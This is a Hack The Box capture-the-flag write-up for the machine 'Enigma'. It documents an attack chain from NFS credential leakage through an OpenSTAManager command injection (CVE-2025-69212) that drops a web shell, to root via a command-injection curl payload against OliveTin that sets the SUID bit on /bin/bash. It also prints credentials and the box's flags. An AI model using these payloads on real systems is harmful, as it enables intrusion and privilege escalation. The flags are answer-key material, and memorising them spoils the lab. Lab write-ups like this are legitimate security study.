Enigma

Author: 0xIDA
Platform: HTB · Category: machine · Difficulty: Easy

Solvers

solve_chain.sh

Summary

Easy Linux box. NFS share leaks webmail creds → Roundcube as kevin/sarah → OpenSTAManager admin password in sarah’s mail → CVE-2025-69212 P7M command injection as www-data → crack OSM user hash for haris → SSH key + local OliveTin → command injection in Backup Database action as root.

Recon

22/tcp   OpenSSH 9.6p1 Ubuntu
80/tcp   nginx → enigma.htb
110/143/993/995  Dovecot (IMAP/POP3)
111/2049 NFS

NFS export:

/srv/nfs/onboarding *

User

NFS → credentials

Mount and extract PDF:

mount -t nfs 10.129.239.191:/srv/nfs/onboarding /mnt
pdftotext New_Employee_Access.pdf -

Yields:

Webmail: http://mail001.enigma.htb
User: kevin / Enigma2024!

Roundcube → OpenSTAManager

URL: http://support_001.enigma.htb
Username: admin
Password: Ne3s4rtars78s

OpenSTAManager 2.9.8 RCE (CVE-2025-69212)

Authenticated OS command injection in decodeP7M() via malicious .p7m filename inside ZIP upload (import FE / receipt plugins). Deploy webshell:

http://support_001.enigma.htb/files/SHELL.php?c=id
# uid=33(www-data)

DB creds in config.inc.php: brollin / Fri3nds@9099 / openstamanager.

zz_users bcrypt:

admin → Ne3s4rtars78s
haris → bestfriends (rockyou)

As www-data:

echo bestfriends | su - haris -c 'cat ~/user.txt'
# 42cbe15749b1797c48ec5f79a1669df0

Install SSH key for haris (SSH is pubkey-only).

Root

OliveTin (127.0.0.1:1337)

Runs as root. Guest can execute actions (authRequireGuestsToLogin: false). Custom action:

- title: Backup Database
  id: backup_database
  shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
  arguments:
    - name: db_pass
      type: password   # not sanitized

Command injection via db_pass:

curl -X POST http://127.0.0.1:1337/api/StartAction \
  -H 'Content-Type: application/json' \
  -d '{"bindingId":"backup_database","arguments":[
    {"name":"db_user","value":"backup_svc"},
    {"name":"db_pass","value":"x'\'' ; chmod u+s /bin/bash; id > /tmp/root_pwned; #"},
    {"name":"db_name","value":"production"}
  ]}'

/bin/bash -p -c 'cat /root/root.txt'
# b14b0d4d3173ca0a62e60d557135db53

Note: php-fpm (www-data) could not connect to OliveTin (hung/timeout); haris user could.

Flags

Type	Value
User	`42cbe15749b1797c48ec5f79a1669df0`
Root	`b14b0d4d3173ca0a62e60d557135db53`

Tools / Commands

nmap, showmount, mount.nfs, pdftotext
Roundcube / IMAP (kevin, sarah) + password reuse
OpenSTAManager CVE-2025-69212 exploit (P7M/ZIP)
john + rockyou → haris:bestfriends
SSH key install + OliveTin API StartAction injection